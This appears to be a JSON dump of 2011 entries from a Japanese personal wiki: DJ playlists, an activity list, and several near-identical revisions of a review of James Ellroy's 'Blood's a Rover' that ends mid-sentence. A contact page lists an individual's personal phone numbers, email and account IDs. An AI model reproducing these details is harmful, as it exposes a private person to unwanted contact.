主題歌\r\n","created_at":"2011-07-23T10:08:16.000Z","updated_at":"2011-07-23T10:08:16.000Z"},{"id":1822,"name":"memo/初心者ナイト","body":"# 1 枚目\r\n\r\n1. 6cm\tmeg rock\r\n1. clover\tmeg rock\r\n1. ROSE HIP-BULLET\tGRANRODEO\r\n1. 99%LIBERTY\tKinKi Kids\r\n1. ジェットコースター・ロマンス\tKinKi Kids\r\n1. Via\tMONORAL\t\tVia\r\n1. VISIONS IN MY HEAD\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Attack It!\t嵐\r\n1. Sakura Revolution\tPrits\t\tcherry blossom\r\n1. ズッコケ男道\t関ジャニ∞\r\n1. weeeek\tNEWS\r\n1. Change the World\tNEWS\r\n1. Knives Out\tRadiohead\r\n1. Bangers and Mash\tRadiohead\r\n1. SHE SAID...\tKAT-TUN\r\n1. プラーター公園へ行こう\r\n\r\n\r\n# 2 枚目\r\n1. Overtune\tタッキー&翼\r\n1. True Heart\tタッキー&翼\r\n1. キ・セ・キ - 滝沢秀明\tタッキー&翼\r\n1. Get Down - 今井 翼\tタッキー&翼\r\n1. 卒業~さよならは明日のために~\tタッキー&翼\r\n1. 夢物語\tタッキー&翼\r\n1. One Day .One Dream\tタッキー&翼\r\n1. 愛想曲\tタッキー&翼\r\n1. 仮面\tタッキー&翼\r\n1. 未来航海\tタッキー&翼\r\n1. Venus\tタッキー&翼\r\n1. Ho! サマー\tタッキー&翼\r\n1. X ~ダメ~\tタッキー&翼\r\n1. Crazy Rainbow\tタッキー&翼\r\n1. SAMURAI\tタッキー&翼\r\n\r\n\r\n# 3 枚目\r\n1. Pocketful of joy\tMONORAL\r\n1. Sparta\tMONORAL\r\n1. Vimana\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Visions in my head\tMONORAL\r\n1. Perfect Gold\tMONORAL\r\n1. Kiri\tMONORAL\r\n1. Pompadour\tMONORAL\r\n1. Shenanigans\tMONORAL\r\n1. Turbulence\tMONORAL\r\n1. Session 9\tMONORAL\r\n1. Reflectia\teufonius\r\n1. プレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\r\n1. DISCOTHEQUE\t水樹奈々\r\n1. Engage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\r\n1. 天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 主題歌\r\n","created_at":"2011-07-23T10:09:11.000Z","updated_at":"2011-07-23T10:09:11.000Z"},{"id":1823,"name":"連絡先","body":"# ssig33 の連絡先\r\nいきなり電話されるとちょっとびっくりします。なるべくメール twitter その他でやってくれると嬉しいです。\r\n\r\n## Twitter\r\n@ssig33 です。 @ をつけると携帯に転送されるので高確率で気付きます。\r\n\r\n## メール\r\nmail@ssig33.com に特別の事情が無い限り送ってください。\r\n\r\n*@ssig33.com 宛のメールは全て僕の携帯電話に直接届きます。携帯電話は二台持っていてどちらにも届くので到達率はかなり高いでしょう。\r\n\r\n携帯に届くとはいえ結構返事が遅いことが多いです。筆無精です。ごめんなさい。\r\n\r\n## メッセンジャー\r\nSkype ぐらいしか起動してません。 skype id は ssig33 です。 Skype 結構気付かないこと多いです。\r\n\r\n## IRC\r\nircnet や freenode にいます。 #Twitter@ircnet で ssig33 とか ssig34 とかいうのがいれば多分僕です。 sakura の VPS から繋いでます。 \r\n\r\n## 電話\r\n090-1450-2501 にかけてもらえると一番とりやすいです。こいつのキャリアは DoCoMo です。\r\n\r\n## Facebook\r\nhttp://facebook.com/ssig33 です。リクエストが来ても誰だか分からなかった場合は弾きます。ごめんなさい。\r\n\r\n## まとめ\r\n- 急ぎじゃない場合は Twitter で @ するか mail@ssig33.com にメール。\r\n- 急ぎの場合は 090-1450-2501 に電話\r\n- iPhone から SMS を送りたい場合は 080-4134-9835 宛に\r\n- Skype は放置されます","created_at":"2011-07-27T01:42:09.000Z","updated_at":"2011-07-27T01:42:09.000Z"},{"id":1824,"name":"activity","body":"# ssig33 activity history\r\nexcluding the operations of the company...\r\n## 2011\r\n### DJ on Let's Start Tonight vol.2\r\nmy First DJ playing.\r\n\r\n### Talk on Darkness-RubyKaigi\r\nTalk about parallel HTTP access on Ruby. Detail is [here(Japanese)](http://text.ssig33.com/62).\r\n\r\n### [Rolling Icon](http://icon.ssig33.com)\r\nTwitter Icon Manager. for PC ,Smartphone and Feature Phone. That's can manage a lots of icon with Simple interface. Currently, for Japanese users only. I'm working for English user...\r\n\r\n\u003chr /\u003e\r\n[Back To The Top](/)","created_at":"2011-07-28T10:01:20.000Z","updated_at":"2011-07-28T10:01:20.000Z"},{"id":1825,"name":"書評/BLOOD'S A ROVER","body":"# 書評 ジェイムズ・エルロイ 『BLOOD'S A ROVER』\r\n本作 BLOOD'S A ROVER はいわゆる Underworld U.S.A. シリーズの完結編であり、シリーズを通しての裏の主人公である、J・エドガー・フーヴァーの正体と末路が描かれる。 \r\n\r\n作中の悪役がなぜ権力に固執し、その為の方法をどのように見つけ、如何にして怪物になっていったか、そしてどのように最期を迎えるかという点が描かれるのはホワイト・ジャズと同様であり、その構成もホワイト・ジャズへと極めて似通った部分があり、ホワイト・ジャズ同様に推理ではなく告白により謎は明かされてゆき、最後には全てを知る人物により全てが明かされる。\r\n \r\nケネディ兄弟やキング牧師という大人物の暗殺という巨大な柱石がありそこへ向け全てが巻き取られるように話が進んで行った全二作と異なり、本作ではフーヴァーという聊か地味な人物に向けて全てが収束していき、話の進行の中でドラキュラ・ハワード・ヒューズもディック・ニクソンもマフィア達もフェイドアウトしてゆく。本作からは少々地味な印象を受ける。 \r\n\r\nしかしながらこれは日本人故の感想なのかもしれない。作者は明らかにフーヴァーの死にアメリカの右翼の死を重ねているし、またフーヴァーはアメリカ人の感覚からしてみれば、 1900 年代最大の悪役の一人であろうから、その正体を大胆に創作した本作は派手な小説と写るのかもしれない。 \r\n作者は歴史上の事件の重要さについて常識と違った価値観を持っており、アメリカン・タブロイドにおいてピッグス湾事件を大きく扱う一方でキューバ危機を一行で片付けたように、本作ではニクソン時代の大事件であるウォーター・ゲート事件は扱われてはいるものの、非常に退屈などうでもいい出来事として扱われている。 \r\n\r\nこれはウォーター・ゲート事件が作者が本作であつかうアメリカ右翼の終焉という一大事にあまり関わらないからであろうが、アメリカの歴史に詳しくない外国人にとっては不親切と写る部分であろう。 \r\n\r\nまたハイチでのヴードゥーの流行は本作の中で大きな柱の一つとなっているが、これもアメリカ大陸の外の人間からすると感覚を肌で理解することは難しいところであると思う。 \r\n\r\nまた本作は、時代小説であり歴史小説ではない。しかし右翼の終焉という一大事を扱う以上、歴史にストーリーは巻き込まれる。作者はフーヴァーの死を右翼の終焉の象徴として描くが、それは象徴でしかなく、クラッチがあの行動を取ろうが取るまいがアメリカの右翼は終焉していたことには変わりがないであろう。クラッチ自身は歴史を見たと語るが個人という形で歴史を切り取る作者の手法においては、クラッチが見たものは歴史の横顔でしかない。 \r\n\r\nいくつか文句をつけたが、作者一流の登場人物の描写、会話によりストーリーを進行させる手法、敵役フーヴァーの意外な正体、スパイ小説的な魅力と優れた点は非常に多く、極めて込み入ったストーリーかつ長い作品ではあるが、流れるように読んでいくことが出来る。 \r\n\r\nまた L.A. コンフィデンシャル以降作者の作品には破滅型のピカレスクとしての側面以外に、青春小説、友情小説、成長小説としての側面があり、本作でもウェイン・テッドローとドワイト・ホリーの破滅が描かれる一方で、ドン・クラッチフィールドの成長が描かれる。クラッチは作中主要登場人物二名を殺害(うち一名は直接ではなくヴードゥーの呪いを用いて間接的にだが)するが、そのシーンは陰惨ながらどこか爽やかさがある。とくにウェインに勝利する瞬間は格別であると思う。 \r\n\r\nところで L.A. 四部作シリーズから続く本シリーズでは主観視点を持つ主人公は 1 人ないし 3 人であったが、本作では 4 人目と 5 人目の主人公が登場する。 5 人目の主人公は種明しのために用意された存在であり、事前にアナウンスもされていたが、 4 人目のスコッティ・ベネットは完全な隠し玉であり、作者の従来の作品にはいなかったタイプの人物である。スコッティは優秀で、悪徳で、力強い警察官であり、作者の小説の登場人物によく見られる思想的な弱さや女性関係での弱さはどこにもなく、力強く豪快に悪の道を突き進む。その末にはスコッティはドワイト・ホリーまでもを打ち破ってしまう。スコッティはストーリーのメインラインとの絡みは少なく、視点が存在しなかったとしても問題の無い人物と思われるが、陰惨さと悲壮さがだだよう本作終盤において清涼剤のような役目を果していると言えるだろう。 \r\n\r\n上記のように時代小説、アメリカ人向けの小説であるが故の問題点を持ちながらも作者一流の面白さを持つ本作だが、翻訳や編集の質には少々疑問がある。 \r\n\r\nまずタイトルには大いに問題がある。原題は BLOOD'S A ROVER であり、直訳すれば漂白の血脈、とでもなるだろう。漂白の血脈とは、まず全てを仕組んだある二人組のことであろうし、主人公三人のことであろうし、フーヴァーのことであろうし、また思想的に揺れるアメリカのことでもあるだろう。いずれにせよ本作の本質を捉えた優れたタイトルだが、日本語版のアンダーワールド U.S.A というタイトルははっきりいって、非常に、ダサい。 \r\n\r\n表紙も本作最大の謎である現金輸送車襲撃を描いた原著のスタイリッシュな表紙とうってかわって日本語版ではアメリカ横断ウルトラクイズを彷彿\r\nとさせる非常にダサい表紙がつけられている。 \r\nまた訳にあっても Mark it now のような特徴的な表現はあまりうまく訳されているとは言えず(かといって僕にもこれの適切な訳分かりませんが)、 clusterfuck を混迷と訳するような少々お上品な傾向が見られ(これは素直に「糞の山」でいいと思う)、原著の雰囲気を損なっている部分がある。 \r\n\r\nいくつかの問題はあるがジェイムズ・エルロイの小説のなかで最も上質な作品のひとつであると思う。ハードカヴァー版は少々高価ではあるが、十分にその価値はあるだろう。 ","created_at":"2011-07-29T09:51:37.000Z","updated_at":"2011-07-29T09:51:37.000Z"},{"id":1826,"name":"書評/BLOOD'S A ROVER","body":"# 書評 ジェイムズ・エルロイ 『BLOOD'S A ROVER』\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n本作 BLOOD'S A ROVER はいわゆる Underworld U.S.A. シリーズの完結編であり、シリーズを通しての裏の主人公である、J・エドガー・フーヴァーの正体と末路が描かれる。 \r\n\r\n作中の悪役がなぜ権力に固執し、その為の方法をどのように見つけ、如何にして怪物になっていったか、そしてどのように最期を迎えるかという点が描かれるのはホワイト・ジャズと同様であり、その構成もホワイト・ジャズへと極めて似通った部分があり、ホワイト・ジャズ同様に推理ではなく告白により謎は明かされてゆき、最後には全てを知る人物により全てが明かされる。\r\n \r\nケネディ兄弟やキング牧師という大人物の暗殺という巨大な柱石がありそこへ向け全てが巻き取られるように話が進んで行った全二作と異なり、本作ではフーヴァーという聊か地味な人物に向けて全てが収束していき、話の進行の中でドラキュラ・ハワード・ヒューズもディック・ニクソンもマフィア達もフェイドアウトしてゆく。本作からは少々地味な印象を受ける。 \r\n\r\nしかしながらこれは日本人故の感想なのかもしれない。作者は明らかにフーヴァーの死にアメリカの右翼の死を重ねているし、またフーヴァーはアメリカ人の感覚からしてみれば、 1900 年代最大の悪役の一人であろうから、その正体を大胆に創作した本作は派手な小説と写るのかもしれない。 \r\n作者は歴史上の事件の重要さについて常識と違った価値観を持っており、アメリカン・タブロイドにおいてピッグス湾事件を大きく扱う一方でキューバ危機を一行で片付けたように、本作ではニクソン時代の大事件であるウォーター・ゲート事件は扱われてはいるものの、非常に退屈などうでもいい出来事として扱われている。 \r\n\r\nこれはウォーター・ゲート事件が作者が本作であつかうアメリカ右翼の終焉という一大事にあまり関わらないからであろうが、アメリカの歴史に詳しくない外国人にとっては不親切と写る部分であろう。 \r\n\r\nまたハイチでのヴードゥーの流行は本作の中で大きな柱の一つとなっているが、これもアメリカ大陸の外の人間からすると感覚を肌で理解することは難しいところであると思う。 \r\n\r\nまた本作は、時代小説であり歴史小説ではない。しかし右翼の終焉という一大事を扱う以上、歴史にストーリーは巻き込まれる。作者はフーヴァーの死を右翼の終焉の象徴として描くが、それは象徴でしかなく、クラッチがあの行動を取ろうが取るまいがアメリカの右翼は終焉していたことには変わりがないであろう。クラッチ自身は歴史を見たと語るが個人という形で歴史を切り取る作者の手法においては、クラッチが見たものは歴史の横顔でしかない。 \r\n\r\nいくつか文句をつけたが、作者一流の登場人物の描写、会話によりストーリーを進行させる手法、敵役フーヴァーの意外な正体、スパイ小説的な魅力と優れた点は非常に多く、極めて込み入ったストーリーかつ長い作品ではあるが、流れるように読んでいくことが出来る。 \r\n\r\nまた L.A. コンフィデンシャル以降作者の作品には破滅型のピカレスクとしての側面以外に、青春小説、友情小説、成長小説としての側面があり、本作でもウェイン・テッドローとドワイト・ホリーの破滅が描かれる一方で、ドン・クラッチフィールドの成長が描かれる。クラッチは作中主要登場人物二名を殺害(うち一名は直接ではなくヴードゥーの呪いを用いて間接的にだが)するが、そのシーンは陰惨ながらどこか爽やかさがある。とくにウェインに勝利する瞬間は格別であると思う。 \r\n\r\nところで L.A. 四部作シリーズから続く本シリーズでは主観視点を持つ主人公は 1 人ないし 3 人であったが、本作では 4 人目と 5 人目の主人公が登場する。 5 人目の主人公は種明しのために用意された存在であり、事前にアナウンスもされていたが、 4 人目のスコッティ・ベネットは完全な隠し玉であり、作者の従来の作品にはいなかったタイプの人物である。スコッティは優秀で、悪徳で、力強い警察官であり、作者の小説の登場人物によく見られる思想的な弱さや女性関係での弱さはどこにもなく、力強く豪快に悪の道を突き進む。その末にはスコッティはドワイト・ホリーまでもを打ち破ってしまう。スコッティはストーリーのメインラインとの絡みは少なく、視点が存在しなかったとしても問題の無い人物と思われるが、陰惨さと悲壮さがだだよう本作終盤において清涼剤のような役目を果していると言えるだろう。 \r\n\r\n上記のように時代小説、アメリカ人向けの小説であるが故の問題点を持ちながらも作者一流の面白さを持つ本作だが、翻訳や編集の質には少々疑問がある。 \r\n\r\nまずタイトルには大いに問題がある。原題は BLOOD'S A ROVER であり、直訳すれば漂白の血脈、とでもなるだろう。漂白の血脈とは、まず全てを仕組んだある二人組のことであろうし、主人公三人のことであろうし、フーヴァーのことであろうし、また思想的に揺れるアメリカのことでもあるだろう。いずれにせよ本作の本質を捉えた優れたタイトルだが、日本語版のアンダーワールド U.S.A というタイトルははっきりいって、非常に、ダサい。 \r\n\r\n表紙も本作最大の謎である現金輸送車襲撃を描いた原著のスタイリッシュな表紙とうってかわって日本語版ではアメリカ横断ウルトラクイズを彷彿\r\nとさせる非常にダサい表紙がつけられている。 \r\nまた訳にあっても Mark it now のような特徴的な表現はあまりうまく訳されているとは言えず(かといって僕にもこれの適切な訳分かりませんが)、 clusterfuck を混迷と訳するような少々お上品な傾向が見られ(これは素直に「糞の山」でいいと思う)、原著の雰囲気を損なっている部分がある。 \r\n\r\nいくつかの問題はあるがジェイムズ・エルロイの小説のなかで最も上質な作品のひとつであると思う。ハードカヴァー版は少々高価ではあるが、十分にその価値はあるだろう。 \r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e","created_at":"2011-07-29T09:53:52.000Z","updated_at":"2011-07-29T09:53:52.000Z"},{"id":1827,"name":"書評/BLOOD'S A ROVER","body":"[トップに戻る](/)\r\n\r\n# 書評 ジェイムズ・エルロイ 『BLOOD'S A ROVER』\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n本作 BLOOD'S A ROVER はいわゆる Underworld U.S.A. シリーズの完結編であり、シリーズを通しての裏の主人公である、J・エドガー・フーヴァーの正体と末路が描かれる。 \r\n\r\n作中の悪役がなぜ権力に固執し、その為の方法をどのように見つけ、如何にして怪物になっていったか、そしてどのように最期を迎えるかという点が描かれるのはホワイト・ジャズと同様であり、その構成もホワイト・ジャズへと極めて似通った部分があり、ホワイト・ジャズ同様に推理ではなく告白により謎は明かされてゆき、最後には全てを知る人物により全てが明かされる。\r\n \r\nケネディ兄弟やキング牧師という大人物の暗殺という巨大な柱石がありそこへ向け全てが巻き取られるように話が進んで行った全二作と異なり、本作ではフーヴァーという聊か地味な人物に向けて全てが収束していき、話の進行の中でドラキュラ・ハワード・ヒューズもディック・ニクソンもマフィア達もフェイドアウトしてゆく。本作からは少々地味な印象を受ける。 \r\n\r\nしかしながらこれは日本人故の感想なのかもしれない。作者は明らかにフーヴァーの死にアメリカの右翼の死を重ねているし、またフーヴァーはアメリカ人の感覚からしてみれば、 1900 年代最大の悪役の一人であろうから、その正体を大胆に創作した本作は派手な小説と写るのかもしれない。 \r\n作者は歴史上の事件の重要さについて常識と違った価値観を持っており、アメリカン・タブロイドにおいてピッグス湾事件を大きく扱う一方でキューバ危機を一行で片付けたように、本作ではニクソン時代の大事件であるウォーター・ゲート事件は扱われてはいるものの、非常に退屈などうでもいい出来事として扱われている。 \r\n\r\nこれはウォーター・ゲート事件が作者が本作であつかうアメリカ右翼の終焉という一大事にあまり関わらないからであろうが、アメリカの歴史に詳しくない外国人にとっては不親切と写る部分であろう。 \r\n\r\nまたハイチでのヴードゥーの流行は本作の中で大きな柱の一つとなっているが、これもアメリカ大陸の外の人間からすると感覚を肌で理解することは難しいところであると思う。 \r\n\r\nまた本作は、時代小説であり歴史小説ではない。しかし右翼の終焉という一大事を扱う以上、歴史にストーリーは巻き込まれる。作者はフーヴァーの死を右翼の終焉の象徴として描くが、それは象徴でしかなく、クラッチがあの行動を取ろうが取るまいがアメリカの右翼は終焉していたことには変わりがないであろう。クラッチ自身は歴史を見たと語るが個人という形で歴史を切り取る作者の手法においては、クラッチが見たものは歴史の横顔でしかない。 \r\n\r\nいくつか文句をつけたが、作者一流の登場人物の描写、会話によりストーリーを進行させる手法、敵役フーヴァーの意外な正体、スパイ小説的な魅力と優れた点は非常に多く、極めて込み入ったストーリーかつ長い作品ではあるが、流れるように読んでいくことが出来る。 \r\n\r\nまた L.A. コンフィデンシャル以降作者の作品には破滅型のピカレスクとしての側面以外に、青春小説、友情小説、成長小説としての側面があり、本作でもウェイン・テッドローとドワイト・ホリーの破滅が描かれる一方で、ドン・クラッチフィールドの成長が描かれる。クラッチは作中主要登場人物二名を殺害(うち一名は直接ではなくヴードゥーの呪いを用いて間接的にだが)するが、そのシーンは陰惨ながらどこか爽やかさがある。とくにウェインに勝利する瞬間は格別であると思う。 \r\n\r\nところで L.A. 四部作シリーズから続く本シリーズでは主観視点を持つ主人公は 1 人ないし 3 人であったが、本作では 4 人目と 5 人目の主人公が登場する。 5 人目の主人公は種明しのために用意された存在であり、事前にアナウンスもされていたが、 4 人目のスコッティ・ベネットは完全な隠し玉であり、作者の従来の作品にはいなかったタイプの人物である。スコッティは優秀で、悪徳で、力強い警察官であり、作者の小説の登場人物によく見られる思想的な弱さや女性関係での弱さはどこにもなく、力強く豪快に悪の道を突き進む。その末にはスコッティはドワイト・ホリーまでもを打ち破ってしまう。スコッティはストーリーのメインラインとの絡みは少なく、視点が存在しなかったとしても問題の無い人物と思われるが、陰惨さと悲壮さがだだよう本作終盤において清涼剤のような役目を果していると言えるだろう。 \r\n\r\n上記のように時代小説、アメリカ人向けの小説であるが故の問題点を持ちながらも作者一流の面白さを持つ本作だが、翻訳や編集の質には少々疑問がある。 \r\n\r\nまずタイトルには大いに問題がある。原題は BLOOD'S A ROVER であり、直訳すれば漂白の血脈、とでもなるだろう。漂白の血脈とは、まず全てを仕組んだある二人組のことであろうし、主人公三人のことであろうし、フーヴァーのことであろうし、また思想的に揺れるアメリカのことでもあるだろう。いずれにせよ本作の本質を捉えた優れたタイトルだが、日本語版のアンダーワールド U.S.A というタイトルははっきりいって、非常に、ダサい。 \r\n\r\n表紙も本作最大の謎である現金輸送車襲撃を描いた原著のスタイリッシュな表紙とうってかわって日本語版ではアメリカ横断ウルトラクイズを彷彿\r\nとさせる非常にダサい表紙がつけられている。 \r\nまた訳にあっても Mark it now のような特徴的な表現はあまりうまく訳されているとは言えず(かといって僕にもこれの適切な訳分かりませんが)、 clusterfuck を混迷と訳するような少々お上品な傾向が見られ(これは素直に「糞の山」でいいと思う)、原著の雰囲気を損なっている部分がある。 \r\n\r\nいくつかの問題はあるがジェイムズ・エルロイの小説のなかで最も上質な作品のひとつであると思う。ハードカヴァー版は少々高価ではあるが、十分にその価値はあるだろう。 \r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e","created_at":"2011-07-29T09:55:06.000Z","updated_at":"2011-07-29T09:55:06.000Z"},{"id":1828,"name":"書評/BLOOD'S A ROVER","body":"[トップに戻る](/)\r\n\r\n# 書評 ジェイムズ・エルロイ 『BLOOD'S A ROVER』\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n本作 BLOOD'S A ROVER はいわゆる Underworld U.S.A. シリーズの完結編であり、シリーズを通しての裏の主人公である、J・エドガー・フーヴァーの正体と末路が描かれる。 \r\n\r\n作中の悪役がなぜ権力に固執し、その為の方法をどのように見つけ、如何にして怪物になっていったか、そしてどのように最期を迎えるかという点が描かれるのはホワイト・ジャズと同様であり、その構成もホワイト・ジャズへと極めて似通った部分があり、ホワイト・ジャズ同様に推理ではなく告白により謎は明かされてゆき、最後には全てを知る人物により全てが明かされる。\r\n \r\nケネディ兄弟やキング牧師という大人物の暗殺という巨大な柱石がありそこへ向け全てが巻き取られるように話が進んで行った全二作と異なり、本作ではフーヴァーという聊か地味な人物に向けて全てが収束していき、話の進行の中でドラキュラ・ハワード・ヒューズもディック・ニクソンもマフィア達もフェイドアウトしてゆく。本作からは少々地味な印象を受ける。 \r\n\r\nしかしながらこれは日本人故の感想なのかもしれない。作者は明らかにフーヴァーの死にアメリカの右翼の死を重ねているし、またフーヴァーはアメリカ人の感覚からしてみれば、 1900 年代最大の悪役の一人であろうから、その正体を大胆に創作した本作は派手な小説と写るのかもしれない。 \r\n作者は歴史上の事件の重要さについて常識と違った価値観を持っており、アメリカン・タブロイドにおいてピッグス湾事件を大きく扱う一方でキューバ危機を一行で片付けたように、本作ではニクソン時代の大事件であるウォーター・ゲート事件は扱われてはいるものの、非常に退屈などうでもいい出来事として扱われている。 \r\n\r\nこれはウォーター・ゲート事件が作者が本作であつかうアメリカ右翼の終焉という一大事にあまり関わらないからであろうが、アメリカの歴史に詳しくない外国人にとっては不親切と写る部分であろう。 \r\n\r\nまたハイチでのヴードゥーの流行は本作の中で大きな柱の一つとなっているが、これもアメリカ大陸の外の人間からすると感覚を肌で理解することは難しいところであると思う。 \r\n\r\nまた本作は、時代小説であり歴史小説ではない。しかし右翼の終焉という一大事を扱う以上、歴史にストーリーは巻き込まれる。作者はフーヴァーの死を右翼の終焉の象徴として描くが、それは象徴でしかなく、クラッチがあの行動を取ろうが取るまいがアメリカの右翼は終焉していたことには変わりがないであろう。クラッチ自身は歴史を見たと語るが個人という形で歴史を切り取る作者の手法においては、クラッチが見たものは歴史の横顔でしかない。 \r\n\r\nいくつか文句をつけたが、作者一流の登場人物の描写、会話によりストーリーを進行させる手法、敵役フーヴァーの意外な正体、スパイ小説的な魅力と優れた点は非常に多く、極めて込み入ったストーリーかつ長い作品ではあるが、流れるように読んでいくことが出来る。 \r\n\r\nまた L.A. コンフィデンシャル以降作者の作品には破滅型のピカレスクとしての側面以外に、青春小説、友情小説、成長小説としての側面があり、本作でもウェイン・テッドローとドワイト・ホリーの破滅が描かれる一方で、ドン・クラッチフィールドの成長が描かれる。クラッチは作中主要登場人物二名を殺害(うち一名は直接ではなくヴードゥーの呪いを用いて間接的にだが)するが、そのシーンは陰惨ながらどこか爽やかさがある。とくにウェインに勝利する瞬間は格別であると思う。 \r\n\r\nところで L.A. 四部作シリーズから続く本シリーズでは主観視点を持つ主人公は 1 人ないし 3 人であったが、本作では 4 人目と 5 人目の主人公が登場する。 5 人目の主人公は種明しのために用意された存在であり、事前にアナウンスもされていたが、 4 人目のスコッティ・ベネットは完全な隠し玉であり、作者の従来の作品にはいなかったタイプの人物である。スコッティは優秀で、悪徳で、力強い警察官であり、作者の小説の登場人物によく見られる思想的な弱さや女性関係での弱さはどこにもなく、力強く豪快に悪の道を突き進む。その末にはスコッティはドワイト・ホリーまでもを打ち破ってしまう。スコッティはストーリーのメインラインとの絡みは少なく、視点が存在しなかったとしても問題の無い人物と思われるが、陰惨さと悲壮さがだだよう本作終盤において清涼剤のような役目を果していると言えるだろう。 \r\n\r\n上記のように時代小説、アメリカ人向けの小説であるが故の問題点を持ちながらも作者一流の面白さを持つ本作だが、翻訳や編集の質には少々疑問がある。 \r\n\r\nまずタイトルには大いに問題がある。原題は BLOOD'S A ROVER であり、直訳すれば漂泊の血脈、とでもなるだろう。漂泊の血脈とは、まず全てを仕組んだある二人組のことであろうし、主人公三人のことであろうし、フーヴァーのことであろうし、また思想的に揺れるアメリカのことでもあるだろう。いずれにせよ本作の本質を捉えた優れたタイトルだが、日本語版のアンダーワールド U.S.A というタイトルははっきりいって、非常に、ダサい。 \r\n\r\n表紙も本作最大の謎である現金輸送車襲撃を描いた原著のスタイリッシュな表紙とうってかわって日本語版ではアメリカ横断ウルトラクイズを彷彿\r\nとさせる非常にダサい表紙がつけられている。 \r\nまた訳にあっても Mark it now のような特徴的な表現はあまりうまく訳されているとは言えず(かといって僕にもこれの適切な訳分かりませんが)、 clusterfuck 